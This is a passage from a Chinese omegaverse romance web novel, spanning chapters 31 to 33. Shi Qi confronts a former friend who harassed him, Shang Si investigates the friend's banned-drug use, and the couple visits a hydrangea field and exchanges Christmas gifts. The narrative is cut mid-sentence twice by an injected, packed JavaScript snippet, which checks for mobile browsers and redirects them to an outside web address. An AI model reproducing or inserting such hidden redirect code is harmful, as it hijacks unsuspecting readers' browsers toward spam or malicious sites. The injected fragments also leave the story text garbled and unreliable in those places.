“……咳咳,他……咳,他没有动手。” 郁知玲嘶哑的声音从后方传来,因为嗓子灌了水,听起来分外吃力。 只要检测生物组织和信息素,就会知道商随没碰过他。 没必要在这种事情上撒谎,不如卖时绮一个面子。 持续不断的折磨令他从刚才狂热的状态中清醒过来,他没想到时绮会这么维护商随,俨然到了不管不顾的地步。 即使商随将特殊易感期的秘密瞒着他,时绮也毫不在意。 真是疯了……! 两个人都是疯子。 他以前只觉得时绮有点儿脾气。但或许是时绮对认定的朋友包容度高、又或许是时绮的长相太过清纯漂亮,这些小脾气给人更多的印象是可爱。却没想到对方一旦爆发是这副模样。 郁知玲心里一阵后怕,再也不想去触霉头。 他出言不逊,时绮动了手,这件事应该就结束了。 在郁知玲的印象里,为了保护使用者的隐私,安全屋内部及周围都没有监控。稍远一些的监控或许会拍下他把时绮拖进来的画面。 不过时绮动手打了他,真要计较,最多算个斗殴,只会做调解处理、相互赔偿。 Omega之间没有性-骚扰法案,这也是他最初敢冒险的原因。 不对,一开始他只是想半推半就地诱惑时绮,根本没想过事情会闹到这个地步。 “没什么大事……”郁知玲哑着嗓子说,“我们朋友之间闹着玩。” “不是朋友。”时绮面无表情。 工作人员看看这个又看看那个,从未见过如此怪异的状况:“那你们的关系是……?” “不认识。” 尽管早有预料,亲耳听见他这么说,郁知玲的呼吸仍是停滞片刻。 时绮平澜无波地补上后半句:“可能是哪里来的一条狗吧。” 工作人员沉默片刻,想指出他说话太过难听,看时绮脸色异常阴沉,最终没有开口。 实在不知该如何处理,工作人员带他们去了附近的警局。 离开安全屋之前,时绮抓住商随的手:“我们走吧。” 商随这才发现他的手臂在颤抖。 刚才在冷水里泡着,不仅郁知玲不好受,时绮为了按住他用上全身力气,原本白皙的手臂绯红一片。 得知时绮可能发生意外、匆匆赶过来踹门时,他也是差不多的反应。 害怕时绮受伤,遭遇任何不幸。 稍微想到这样的可能性,恐惧就会裹挟全身。 商随安慰一样摩挲他颤抖的手背,轻声道:“没事的,不用在意那些话。” “我知道。”时绮回答。 但我不觉得没事。 和郁知玲预想的一样,在警局做了登记、大致了解前因后果后,因为他们都是Omega,最终只简单做了调解。时绮那边则需额外赔偿被破坏的安全屋。 中途有警员好奇地向商随投来目光:“看监控画面,你是生生将门踹开的,这怎么可能!安全屋的金属门板连狮子老虎都撞不开,你是怎么做到的?” “那一间刚好有问题。”时绮先一步回答,“锁不牢固。” 警员半信半疑,最后只道:“这样啊。” 郁知玲从头到尾没有多说一句话,离开警局后,他呼出一口气。 浑身上下传来持续不断的疼痛,脸似乎也肿了,口腔里依稀残留有血腥味。 发情期的身体本就敏感,他在来警局的路上注射了抑制剂,针扎进去的一瞬间,抑制剂与身体内存留的药物冲突,灼烧般的痛苦令他面色惨白。 看他状态实在糟糕,有警员询问他是否需要验伤取证。因为诱导发情的部分难以取证,只把这件事定义为口舌冲突引发的纠纷,时绮的责任要更大一些。 但他知道真实的情况如何,不想再惹怒时绮,想着还是退一步更好,最终没有选择验伤。 “都结束了吧,”郁知玲看向另外两个人,“那我走了。” 他心情复杂,痛苦和失落中夹杂着一丝不甘,看向商随道:“你运气真好,有人愿意这么维护你。” 还是时绮。 在他眼里纯洁无垢的人,居然会喜欢上一个特殊易感期的Alpha。 商随没什么情绪地同他对视,须臾过后,嗤笑一声:“你的运气可不会那么好。” 郁知玲迎着他黑沉沉的目光,惊疑不定。 商随什么意思。 不是都结束了吗?难道他还想做什么? 他安慰自己他们已经在警局做过笔录,商随多半是在吓唬他。 而且从头到尾商随都表现得十分冷静,如果对方是精神变态,先前他情绪激动时说过那么多冒犯的话,根本不可能完完整整站在这里。 那商随只是普通的、特易期的Alpha。 这样的人反而活得格外小心翼翼,不会有事的。 即使如此,郁知玲却没法压下心里的慌乱,不知是说给自己听,还是表明态度、希望一切到此为止: “我不会再出现在你们面前。”他最后看了时绮一眼,而后转过身,“再见。” “——站住。” 一道又冷又跋扈,近乎命令的声音从身后传来。 离开安全屋后,时绮就再也没搭理过他。郁知玲停下脚步,一刹那不禁怀有零星的希望。 时绮会和他说什么? “给商随道歉。”时绮一字一句道。 “……”郁知玲死死咬紧牙关。 强烈的不甘心涌上心头,但他知道,如果不照做,时绮能在警局门口跟他动手。 “对不起。”郁知玲勉强绷住表情,深吸一口气后转过身。 “我很抱歉,我不该说那些话。”他尽量拿出诚意,用最懊悔的语气道,“我当时吃了药,精神状态不稳定,说了很多难听刺耳的话……” “真的非常对不起,请你不要在意。” 本以为会得到没有任何真心却为一切划上句号的“没关系”,最不济也会答应一声。 然而商随的注意力根本没在他身上,时绮倒是在听,听完后干净利落地说: “那你去死吧。” 时绮说完,不顾郁知玲骤变的脸色,拉着商随离开。 夜深人静,道路两旁只有闪烁的灯火。 一路上谁也没有开口,走出一段距离,时绮的情绪再也绷不住,商随察觉到不对,低头时发现他默默咬着嘴唇,眼眶通红。 商随停下脚步,心疼地看着他。 像是怕吓到什么似的,他尽量将声音放得轻柔:“怎么了?” 不问还好,他一问,时绮本来还在眼眶里打转的眼泪霎时掉了下来。 想到他和郁知玲毕竟也认识了许多年,商随迟疑地问:“是因为失去了一个朋友……?” “不是,”时绮揉了下发酸的眼睛,恨恨地说,“他算个屁。” “那是……” “因为你。” 时绮转过头,径直看向愣住的商随。猫一样的眼眸亮得惊人,生机勃勃,透出无法掩饰的愤怒。 不是生商随的气,而是气他遭遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“对不起,小绮。”冷静下来后,商随低声道,“我不该那么和你说话。” 过量的、被救赎一般的喜悦充斥着全部感官,令他想将带来一切情感的源头拆吞入腹。再也不要分离。 他只能垂下眼,避免让另一个人看见快要遏制不住的爱欲。 “你又不是圣人,为什么不能有激动的时候?” 见他一直低垂着眼睛,像有些泄气,时绮不由得笑起来:“你今晚要是一次都不情绪外露,我才会觉得你有问题。” 他补充道:“而且我不介意。” 商随眸光闪烁。 少顷过后,他才重新抬眸,回答最开始的问题: “你刚才问,为什么我表现得习以为常。其实我曾经也不习惯。” “但如果一直听从外界的看法,总是怀疑自己,会活得很辛苦。比起这些无关紧要的声音,还有更多事情值得我在意。” 商随说到这里,停顿片刻:“而且……” 某种程度而言,是你改变了我,让我学会接纳自己。 你不记得了,但我永远不会忘记。 “之前没有告诉你特殊易感期的事,我……” “你本来就没有义务告诉我。”时绮打断他,“这是你的隐私,没有任何人有资格要求你告诉我。” 先不论他和商随并非真正的情侣。特殊易感期有确切的明文规定,除了担保人和医生,当事人拥有不向任何人告知的权利。 “不用跟我解释,你没做错任何事。” 说着说着,时绮又觉得难过。 为什么呢。 我想过你可能有秘密,但我不知道,原来是这么沉重的秘密。 一想到商随是如何一点点适应尖刀似的言语,最终对此习以为常,时绮好像看见一颗逐渐变得冷硬坚强的心脏。晶莹剔透的眼泪不知不觉滴落下来。 他哭泣的时候眼眶和鼻尖都泛着红,模样伤心又委屈。 心疼的同时,商随脑海中掠过一个突如其来的念头: 好想亲一下他。 被珍惜的人心疼、伤口暴露出来也不用担惊受怕,原来是这样美好轻盈的感受。 不知道该怎么表达,情感快要溢出来,第一反应就是想靠近,想要亲昵。 亲吻暂时不可能。商随朝他张开双臂:“不哭了,来抱抱。” 时绮呜咽一声,难以自持的情绪终于找到突破口,整个人扑进他怀里。 熟悉的怀抱温暖又令人心安,可以肆意发泄所有坏情绪。 时绮抽了抽鼻子,想起一件事:“你的写生课怎么样了?” “只能麻烦另一位老师帮忙看着。之前帮她带过课,她应该不介意。” “我的手环不见了,做笔录的时候才发现。”时绮把头埋进他的肩膀,嗅着他身上淡淡的、甜蜜的香味,断断续续地说,“可能落在了安全屋。” “明明才收到不久……” “没关系,再给你编一个。” 时绮应了一声,在商随怀里彻底放松下来,想到什么说什么:“他好恶心。” “嗯。”商随听懂他的意思,赞同道,“就算我见过很多恶心的人,郁知玲也能名列前茅。” 时绮忍不住笑起来,笑着笑着觉得难过,眼眶又开始发酸: “……你怎么这么倒霉啊。” “有一点吧,但有时候运气又很好。”商随轻描淡写,“不是遇见你了吗?” 时绮被他不经意的话语触动,倏地抬起头,一眨不眨看向他。 原来遇见我是幸运的事情吗? “小绮刚才维护我的样子很帅气。”商随见时绮逐渐睁大眼睛、耳根微微泛红,笑着揉了揉他的脑袋,“我会永远记得的。” 时绮迟来地意识到自己在他面前哭成这样,多少有点儿丢人。 好像不够帅气,也不值得被记住。 见他不好意思,商随想到之前在安全屋,时绮对他说过的话和做过的动作。 在那一刻,他觉得世上再也没有值得害怕的东西。 和那时一样,他也抓住时绮的手: “所以忘记这些不开心的,我们走吧。” 时绮默念了一遍最后四个字。 过去从未觉得这句话有任何特殊,但从商随嘴里说出来,像有魔力一般。 不仅意味着“我们”,也意味着“一起向前”。 对,就是这样。 时绮用手背擦掉最后一滴眼泪,在心里说: 我们走吧! 他握住商随的手,走在如水一般流淌的银月和悬浮似彩色烟霭的灯光下。 仿佛十指相扣的一瞬间就可以永远自由地活着,去到任何地方。 32.无尽夏 单看笔录,郁知玲没有任何问题。 突然发情、没有抑制剂,只能叫认识的人陪伴去安全屋。 有一部分Omega发情的确是信息素长时间外溢、身体较晚才会出现反应。 但恰巧是在时绮身边没有任何人的时候,郁知玲也恰好没有因发情期出现手脚酸软、浑身无力的情况。 一系列巧合叠加在一起,就像被特意计算过,事情才会顺利发展。 如果是早有预料…… 他依稀记得,很久以前沈千俞提过类似的情况。 给沈千俞发消息询问后,商随得到了一个出乎意料的答案。 回到酒店,他又确认了一遍:“你确定吗?” 沈千俞的声音从电话那头传来:“只有一种药能自由调节发情期。有成瘾性,会导致使用者信息素紊乱、精神状况不稳定。三年前就被列入了禁用名单。” “那段时间我们医院接到了很多患者,成瘾之后不仅Omega在吃,Alpha也在吃,所以我很确定。” 不等商随开口,像知道他想问什么,沈千俞先一步道:“单纯地使用药物影响不大,最多罚款或罚去社区服务,但如果参与贩卖,至少两年,量多会判得更重。” “这样……”商随若有所思。 “你认识的人在用药?还是别的情况。” 商随答非所问:“希望有人干坏事干得彻底点。” 即使郁知玲没有参与贩卖药物,也有别的办法。 就是要麻烦一点,处理起来得费一番功夫。 看来是有人得罪他。 沈千俞替那个倒霉蛋默哀三秒,建议道:“这种药最初研究出来就是为了取代寰云的抑制剂,你让你家里帮忙查会更快。” 从那场噩梦中走出来后,商随的运气奇迹般好了起来。用个不恰当的比喻,就像用完了厄运。事情会往往会按照他的心意发展,仿佛电影剧本般不可思议。 江砚曾经见证过好几次类似的情况,一度怀疑商随身上有挂。 某一次江砚大概看了什么小说,很天真地对沈千俞道:“你觉不觉得商随像被命运眷顾的主角,我们就是旁边鼓掌的NPC。” 不等他回答,江砚面朝商随:“小随哥哥,你能改写一下我的运势,让我也跟着爽爽吗?” “我要求不高,让我赚大钱、家里别催我找对象就行了。” 商随用看白痴的表情看着他,大概觉得有傻子送上门不逗白不逗,让江砚回去等着。 江砚满怀希望等待三天,终于确定商随在耍他。 尽管如此,江砚依然对他的运气深信不疑,执意拉着商随投资绘涧。 想到这里,沈千俞情不自禁笑了笑。 他把话题拉回来:“听说药物源头一直很难找到,如果真让你查出来,也算大功一件。” - 学校社会实践活动的最后一天,化工系组织参观花田。 祁江的花田闻名全国,是各种抑制剂、阻隔剂以及信息素香水的重要原材料。相较于参观工厂和实验室,如海洋般浩瀚无垠的花朵瞬间吸引了学生们的目光。都不用老师催促,流程走完之后,大家自发地拍照记录。 时绮和林言走在一起,旁边还有过来写生的秦书赫。 时绮隐去特殊易感期的部分,和他俩说了郁知玲的事情,两人听完都十分震惊。 “我操,他还真是人面兽心啊。”秦书赫被恶心得够呛,“仗着自己是Omega就肆无忌惮性-骚扰,插足感情还这么理直气壮……郁知玲确实让人大开眼界,这个品种的傻逼我真是第一次见。” 林言气得声音都在抖:“要不要和家里说一声?” 一想到这么多年,郁知玲和时绮相处时脑子里不知道装的什么乱七八糟的,林言就觉得想吐。 “我回去跟姐姐说一下,让她不要再和他合作。” 因为时绮和郁知玲是朋友,姜宥宁会特意照顾郁知玲,以前帮忙拉过代言、介绍过不少人脉。若是和姜宥宁断绝来往,会对郁知玲的工作造成不小的麻烦。 “要是能和寰云搭得上边就好了。”秦书赫看着远处大片大片的花海,突然有感而发。 “郁知玲不是代言了Elowen的信息素香水吗?Elowen是寰云旗下子公司的牌子,听他那天的口吻,这份代言对他应该挺重要。真想让这傻逼彻底丢掉工作。” 他们参观的正是寰云的花田,前些日子参观的工厂和实验室也隶属其名下。 不过寰云总部专注于生物制药和科创,和他们家里都没什么交集。 时绮倒是看得很开:“算了,反正揍了他一顿。” 说到这里,时绮看向不远处。 附近栽种的都是颜色绚烂的无尽夏,一团团蓝紫色、粉白色的绣球犹如云朵,连绵起伏至视线尽头,与远处奶油蓝的天空融为一体。 美院的学生们支着画架,正在描绘这副梦境般的景象。秦书赫画得比较快,这才有空跑来跟他们聊天。 因为是商随曾经编过的初遇故事,时绮对无尽夏这种花印象很好,想到这里,他开口道: “商随呢?” “哥最近好像都挺忙的,昨天也没来上课。”秦书赫回过味儿来,“不对,你俩是吵架了吗,他的行程你怎么不清楚?” 时绮不太乐意听这种话,下意识反驳:“我们好得很。” 林言忍不住笑了一声,又故作严肃对秦书赫道:“饭可以乱吃话不能乱讲啊,我们宝宝和他老公好得很。” “……” 时绮有些犯困,附近有一辆黄油面包造型的冰淇淋餐车,他跟他俩说了一声,自己找了一把阳伞、点了一杯果汁坐下。 秦书赫和林言的交谈声渐行渐远。时绮的眼皮开始打架,脑袋一点一点,索性放弃抵抗,趴在小木桌上睡了过去。 绚烂的无尽夏花海进入他的梦境,时绮梦见自己爬上别墅的阳台,有个Alpha站在那,面前摆放着比时绮高一大截的白橡木画架。 他看不清楚他的脸,但Alpha的身形介于少年和男人之间,极为好看。 “你又在画画。”时绮听见自己说,“天天一个人待着,不会无聊吗?” 那人神情平静地同他对视,却没有开口。 像习惯了他的冷淡,时绮自顾自道:“楼下的看守一直没发现我,我很厉害吧。” “……” “我记住了他们的活动路线,可以偷偷带你逃出去。”时绮摊开手,边数边提议,“胖一点的那个会躲在墙角抽烟,高个的瘦子会在下午打瞌睡;不胖不瘦的最负责,但他不会仔细抬头看,只要把画架放在阳台上,他就以为你还留在原地,不会发现。” 对方还是不说话。 什么啊。 梦境里的“他”倒是没有意见。但昏昏沉沉间,时绮既像以上帝视觉俯看、又像切身参与,不由得对Alpha的冷淡心生不满。 你是商随吗? 对我爱答不理,我凭什么要凑上去? 但在梦里面,他好像格外喜欢那个Alpha,缠着对方说东说西,却始终得不到多少回应。 连续几天都是这样,梦里的他也开始泄气。 从小他都被身边人宠着,时安和姜礼对他有求必应,姜宥宁偶尔会捉弄他,但大多数时候都一口一个宝宝。哪怕是在学校里,大家也都喜欢和他玩儿。 明明在旁人面前,他才是话少的那一个,但因为Alpha太过沉默寡言,他得一直找话题。 最开始觉得新鲜,时间久了,时绮也不想再自讨没趣。 即使这个Alpha很漂亮,像童话故事里居住在高塔上的主人公。 “喂,”时绮坐在窗台上,在熔金般流动的落日中里晃悠着纤细笔直的小腿,“你嫌烦的话,明天我就不来了。” Alpha看了他一会儿,忽然问:“你背上是什么?” 时绮迟疑地伸出手,试探性往背上摸,半天没摸到东西,身体却不小心失去平衡,朝旁边歪斜—— 他就坐在阳台上,慌乱中竟是直接向后倒去,时绮倏忽睁大眼睛。 不妙,要掉下去了! 所幸对方反应迅速,一把将他捞了进来。 时绮惊魂未定撞进他怀里,鼻子被撞得有些酸痛,正想质问自己背上哪来什么东西,鼻尖却嗅到了Alpha身上馥郁又清甜的香味。 嗯? 时绮的注意力瞬间被吸引。 香香的,真好闻。 像是看不下去他呆呆的模样,对方伸出手,撕下什么。 是一张猫耳朵造型的便利贴,大概是怕便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132593|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利贴脱落,还用了一截五颜六色的印花胶带固定。 [如果捡到我家的猫,请联系监护人姜宥宁。 电话号码:XXXXXXXX 附:此猫脾气较差,请多多包涵,必有重谢。] “你经常走丢?” 时绮读完便利贴上的文字,抬头时,第一次见Alpha笑起来。 他一直是拒人于千里之外的神色,此刻却仿佛冰雪消融,一双眼睛含着潋滟勾人的春意,和他冷脸的模样完全不同。 时绮看呆了一秒,很快又意识到,他是在嘲笑他笨。 “……才没有,是姐姐乱写的!” 他不太高兴地反驳,又眨巴一下深灰色的大眼睛,如同看见什么稀奇有趣的事物:“你说话了?” 所以是还想见到他吗。 为什么不直说? 算了,他大方一点,不和被关在阳台上的可怜鬼计较。 “我叫时绮。”他仰头看他,偷偷动动鼻子,试图用嗅觉记住对方,“你叫什么名字?” “小绮?”熟悉的声音钻入耳膜,像是在耳边震动翅膀的蝴蝶,将他从绮丽的梦境拉回现实。 “嗯……?” 时绮迷迷糊糊睁开眼。 他许久没有做梦,最近却前后做了两次。 所以……梦里那个又高又冷像有自闭症的Alpha到底是什么味道? 只记得很香。 “怎么一个人在这?” 才睡醒,时绮思维迟滞,慢吞吞地说:“我有点困,让林言他们先走了。” 时绮抬头,看见商随逆光站着,浅褐色的眼瞳却格外明亮, 神奇的是,他的梦和商随描述的故事对上了一部分。 或许应该反过来? 正是因为看见无尽夏、想起了商随的故事,才做了这个奇奇怪怪的梦吧。 尽管祁江阳光明媚,但风很大,无数轻小的花朵被吹得摇摇晃晃,簌簌作响。 商随怕他感冒,多问了一句:“睡着以后不冷吗?” 时绮在心里默默地想。 还是这个比较好。 梦里那个不爱搭理人的一边儿凉快去吧。 时绮摇摇头,站起来问:“你最近在忙什么?秦书赫说你昨天都没来上课。” “在查事情。”商随本来想告诉他,郁知玲大概率会因禁药被判刑,转念一想,就算邀功也得等事情处理好了,漂漂亮亮地过来邀。 “等结束后跟你说。” 最近唯一和自己有关的事情…… 时绮想了想:“郁知玲?” “你还是很生气吗?早知道我那天再打他几下。” 商随半开玩笑道:“小绮看着我的话,我就不生气了。” 时绮忍不住吐槽:“你是猫猫狗狗吗?还要找个主人看着你。” 他说这话的时候根本没有想别的。不料商随仿佛被戳中了什么开关,整个人笑得花枝乱颤,背后盛放的无尽夏都不及他夺人眼球。 “你笑什么?”时绮莫名其妙,同时又被他笑得有些耳热。 “我比较喜欢当主人。”商随笑够了,露出略微为难的神色,他伸出手,轻轻点了一下时绮小巧的鼻尖: “乖宝宝。” “?” “睡觉的时候沾上花粉了。” 时绮脸颊泛红,被短暂触碰过的肌肤残留着另一个人的温度,不等他做出回应,商随将铃兰花编织的手环套进时绮纤细的手腕。 一盏盏纯白的花朵依稀沾有透明的水珠,似乎才编好不久。 “补给你的手环。” 时绮没想到他还记得,眼睛一亮:“谢谢。” 看着他可爱的反应,商随心痒难耐,又揉了揉他的脑袋。 希望以后可以亲手给时绮戴其他饰物。 闪闪发光的戒指?或者宝石项圈? 他有很多漂亮的Choker,配上时绮雪白纤细的脖颈,每一个都会很合适。 时绮被他揉脑袋,总感觉哪里不对。 怎么感觉商随这一系列动作真的跟对待猫猫狗狗似的…… 不等他觉得自己被他耍了,商随补上后半句:“不过小绮喜欢的话,我也可以当狗。” 他笑眯眯地说:“我会很听话的,主人。” 33.腰链 商随笑这么开心,时绮总感觉这句话不像自己想象中那么简单。 回程路上,他开口问林言。 “一个人说给你当狗是什么意思,”时绮猜测道,“是当宠物的意思吗?” “……”林言原本正在无所事事刷视频,手机啪叽一下砸身上,“你又遇见变态了?!” 才送走郁知玲,怎么又来一个?! “没有,我随便问问。” “如果有人对你说这种话,你就让他滚。” “哦。”时绮诚实道,“但我不想叫他滚。” 林言震惊地看向他,须臾过后,逐渐露出暧昧的笑容。 “没看出来啊宝宝,原来你内心隐藏着如此狂野的癖好。” “可商随看起来不像会被管束的类型,你和他玩这么大,万一被反扑……”林言打量着面前这张天使一样清纯的小脸,顿时有感而发,“那也不错嘛,感觉色色的。” “?” 时绮莫名其妙,追问他究竟什么意思。 林言却死活不说,只让他以后自己体会。 相较于来时,回程路上大家都精疲力竭。从祁江的花田回到A大宿舍不亚于一夜入冬,饶是时绮一向适应力良好,也觉得落差实在太大。 “把我投送回祁江吧,那才是我的故乡。”林言边赶社会实践报告边痛苦道,“我真受够了,刚才走在楼下没注意冰面,差点儿摔一跤。” 即将迎来为期三天的元旦假期,系里要求他们在放假前把报告交上去。 时绮对这次社会实践活动一问三不知,写报告只能瞎编。林言和他半斤八两,边划水边问:“你元旦节回家吗?” 时安先前特意打了电话,说他小半年不回家,这次说什么也要回去一趟。 先前时绮不回家是不想听时安催婚,现在有了“男朋友”,加上正好和姜宥宁提一提郁知玲的事情,时绮便答应下来。 “那我也回去,一个人留在宿舍不好玩儿。”问完元旦的安排,林言又道,“周五的圣诞节你怎么过?要不要跟我们去打麻将?” 圣诞节打麻将? 时绮吐槽:“你们过节的方式好别致。” 林言嘿嘿一笑:“中洋结合,战至天明。” 时绮心里另有打算,他摇摇头,向林言献上最真挚的祝福:“祝你赢钱。” 紧赶慢赶,时绮终于在圣诞节当天写完报告,结束折磨。 从祁江回来后,他和商随再也没见过面。时绮翻到与对方的聊天框,正想问他要不要一起过节,商随的消息先一步发了过来。 Ss:[圣诞快乐,出来吃饭吗><> 时绮手指一顿,唇角微微翘起。 17:[好,在哪见?] 即将入夜,天空细细地飘落小雪。 时绮在A大门口没看见熟悉的身影,左顾右盼间,一辆深色的库里南降下车窗。 “小绮,这边。” 商随坐在后排,弯着眼冲他挥挥手。 时绮上车后,总感觉他像才从其他地方回来,刚想询问,又觉得商随没必要和自己交代行程。 看出他在想什么,商随主动道:“下午去了一趟父母家里。” 前些日子他让家里帮忙查禁药相关的事情,虞晚顺势叫他回去一趟。 虞晚一直对他的易感期十分担忧,正好商随拿到了心理测评结果,带回去也好让她安心。 看完报告,虞晚果然放松许多。一旁的商曜想起什么,多问了一句:“你今年的第三次易感期还没来吗?” Alpha的易感期一年大多三四次,商随今年却只经历过两次。 “沈千俞说,可能是近期接触过高匹配度的Omega,各方面比较稳定,易感期顺势延后。” 不过相应的,接下来会在较短时间内相继迎来两次易感期,沈千俞让他做好准备。 他说得轻描淡写,这句话的效果却犹如平地起惊雷。 虞晚遽然转头看他,商曜也是一愣:“这是什么意思?” 对他们这样的家庭而言,婚姻和后代举足轻重,商随又是两家的独子。 但在经历过那段灰暗的日子后,夫妻俩只希望自己的孩子过得开心。 只要商随喜欢,别说Omega,哪怕Beta和Alpha也行。但这些年从没见他对谁表现出兴趣,他们不想给他压力,嘴上不提,私下都做好了商随可能永远独自一人的准备。 突然听见这话,两人都十分高兴。 尤其是虞晚,喜形于色追着他问东问西,是怎么认识的、确认关系了吗? “没有,还在……”说是“追”不恰当,毕竟他从没向时绮表露过心意。说朋友又显得太过装腔作势,商随最后折中道,“还在相处。” 商曜想到什么:“你让我帮忙查的那件事,和你喜欢的人有关系?” 虞晚也反应过来,笑着调侃他:“难怪呢,我就说你怎么这么着急。” 她犹豫片刻,忍不住问:“他知不知道你有……?” “特易期?知道。” 听见商随的回答,虞晚不自觉放轻呼吸。 像是没想过会有这么好的事情,她小心翼翼确认:“特殊易感期的事,他真的不介意吗?” 商随点点头,想到曾经发生过的事情,又有些迟疑。 不是不相信时绮,只是…… 是他控制不好自己,没办法和正常人一样。 “但我不知道,他真正看见会怎么想。” 虞晚表示理解:“毕竟亲眼看见是不一样。只要平时不介意就是好事,易感期的时候可以分开。” 说是这么说,她眼里却流露出些许难过的神色。 如果可以,哪个Alpha易感期时不想有Omega陪伴?更别说商随的易感期远比一般人难熬。 “近几年小随的易感期不是都很稳定吗?”商曜轻轻拍了拍她的手臂,又朝商随笑道,“没事的,说不定以后越来越好,渐渐就不是问题了。” 相较于六年前,他的状态已经好了许多,即使在易感期内,大多数时间他也能控制好自己。 但比起将这一面暴露在时绮面前,他宁愿忍耐。 一年三四次而已,只要不让时绮看见,就不会把人吓跑。 他完全可以自己过。 想到这里,商随收起混乱的思绪。 他将手边的袋子递给时绮:“圣诞礼物。” 时绮愣了愣,有些不好意思:“我都没给你准备礼物。” 他笑着摇摇头,示意时绮不用在意:“只是觉得漂亮,很适合你就买了。拆开看看?” 时绮拆开系有蝴蝶结的红丝带礼盒,黑色天鹅绒内饰衬得放置其中的首饰熠熠生辉。 一长一短的金色链条套在一起,链节之间缀有一颗颗流光溢彩的红宝石。正中央的吊坠同样缀有彩宝,金质的蕾丝镶座犹如融化的星光,众星捧月般衬托出红色主石。 就像商随说的,确实很漂亮。 不过…… 时绮大致目测了一下:“这条项链好长。” 商随笑起来:“是腰链,系在腰上的。” 时绮张了张口,面露迟疑,商随垂下眼睛:“不喜欢吗?” 时绮听着他略显失落的语气,立即道:“喜欢。” 只要是商随送的,不管什么他都喜欢。 “但是太华丽了。”时绮实话实说,“我平时不怎么戴这类首饰,不知道怎么搭配。” 商随看了一下,时绮今天穿着厚厚的黑色羽绒服,里面只有一件白衬衫,按照他的性格,衬衫应该是宽松的款式。 “你今天穿的衣服可以搭。” 见时绮不说话,商随不想让他为难: “没关系,就当是收到个装饰品——” “那我一会儿戴。” 他们几乎同时开口。时绮抢先一步说:“没有应付你,真的很好看。但我上一次戴这种东西还是演出的时候,有点儿不习惯。” 怕他不相信,时绮一边说一边将腰链收好,把盒子整个抱进怀里:“谢谢你的礼物,颜色和圣诞节很搭。” 商随看着他认真的模样,心里觉得他万分可爱的同时,又不免有些挫败。 除去太过明显的戒指,他故意在项链、手链、手镯等一系列饰物里选了腰链,任谁来看都有非同寻常的隐喻,时绮却丝毫没能察觉。 果然还是猫宝宝。 只会和人贴贴,看不懂暧昧的暗示。 时绮忽然想到什么,开口道:“总感觉我们吃不上这顿饭。” “为什么?” “你没发现吗?我们每次吃饭都会遇见意外。上一次是沈千俞叫你去做检查、上上次是舞社排练,这次……” 就像应和他说的话,商随的手机倏忽亮起。 看见来电显示,商随沉默片刻,跟没事人一样按下拒接:“可以不接。” “……好。” 电话被挂掉后又打了过来,似乎也没想到江砚如此执着,商随微微蹙起眉。 “他好像很着急。”时绮迟疑地说,“要不你还是接一下?” 甫一接听,江砚的惨叫从那头传来:“——你怎么才接啊亲哥!” “你有事?” “十万火急!我们能见个面吗?要不就在绘涧吧??” 商随暗示道:“我跟时绮在一起。” 本以为江砚会自己懂点事,想不到那头竟是顺势道:“那正好啊,一起来吧!人多力量大,我头都快炸了!” “我知道打扰别人谈恋爱天打雷劈,但这个事情它很难形容……”江砚说到一半,突然意识到自己真正该求谁,“那个,时绮,你在旁边吗?拜托拜托,快带着商随过来吧!” 时绮一向吃软不吃硬,况且江砚实在有几分可怜。 “那你撑住,”时绮说,“来了。” 似乎没想到他这么干脆,江砚泫然欲泣:“真的吗?呜呜呜!” 他一不小心说出真心话:“你人真好!和商随那个见死不救的一点儿都……哦哦哦我的意思是,你们快过来吧,我给你们准备好吃的!” “……” 时绮听完他这一通不着调的输出,心想难怪商随要挂你电话。 如果真的是十万火急的事情,怎么会有人还有心思准备吃的? 再次踏进绘涧的大门,时绮不由得笑了笑,对身边人道:“你曾经上班的地方。” 不等商随回答,一道风风火火的身影冲了过来:“你们终于来了!” 江砚见到他俩就像见到救星,直接把人往包厢带。坐下以后正想说什么,目光无意中掠过桌面的草莓巴菲。 想到这是自己刚才特意让甜品师准备的,他邀功似的对时绮道: “我听商随说你喜欢甜食是吧?你尝尝,这是我们的圣诞限定。” 满打满算,他和江砚今天才第三次见面,但对方搞得像他们认识许多年。 时绮在心里把江砚和秦书赫划为一类,一边拿起小勺,一边问:“你遇见什么事了?” 江砚卡了一下,像是才想起这一茬。 “他的大脑是单线程。”商随小声解释,“一次只能处理一件事,多了会死机。” 时绮:“……” 看得出来,已经卡了。 像是终于完成重启,江砚面色痛苦地捂住脸:“……沈千俞跟我告白了。” 商随说:“恭喜。” 时绮愣了一下,也跟着说:“恭喜?” “?”江砚面对他俩,十分绝望地指向自己,“不是啊!我是Alpha,他也是Alpha!” “然后我说这是不可能的,我俩性别一致。你们知道他说什么吗——他说他可以把腺体切掉,安装一个人造的Omega腺体上去,他们医院最近才动过类似的手术,他已经确认好了流程。” “我操,他是疯了吧?他知不知道更换腺体只能活到四五十岁?!” 时绮同样流露出震惊的神色,没想到看起来斯斯文文的沈千俞行事作风如此狂野,正觉得这事的确有点棘手,一旁的商随却笑了出来。 “挺合理的。” “?” “你不可能切掉自己的腺体、也不能接受Alpha,那他只能给自己做点小改动。” “……”这能叫小改动吗?? “这样不是很好吗,”似乎觉得那个场面十分有趣,商随道,“他还能给你生小孩呢。” “你也是疯子吧。”江砚目瞪口呆,“把Alpha改造成Omega,还生小孩,你该跟沈千俞决战变态之巅。” 商随笑吟吟地睨他一眼:“怎么说话的,小心点儿啊。” 江砚被他看得心头一凉,这才意识到屋里还有另一个人。 前两次见到时绮的时候,他或多或少不小心触到对方的霉头,因此心怀愧疚,对时绮格外热情。 也因为那两次见面,时绮在江砚心里一直是冷冰冰的形象。 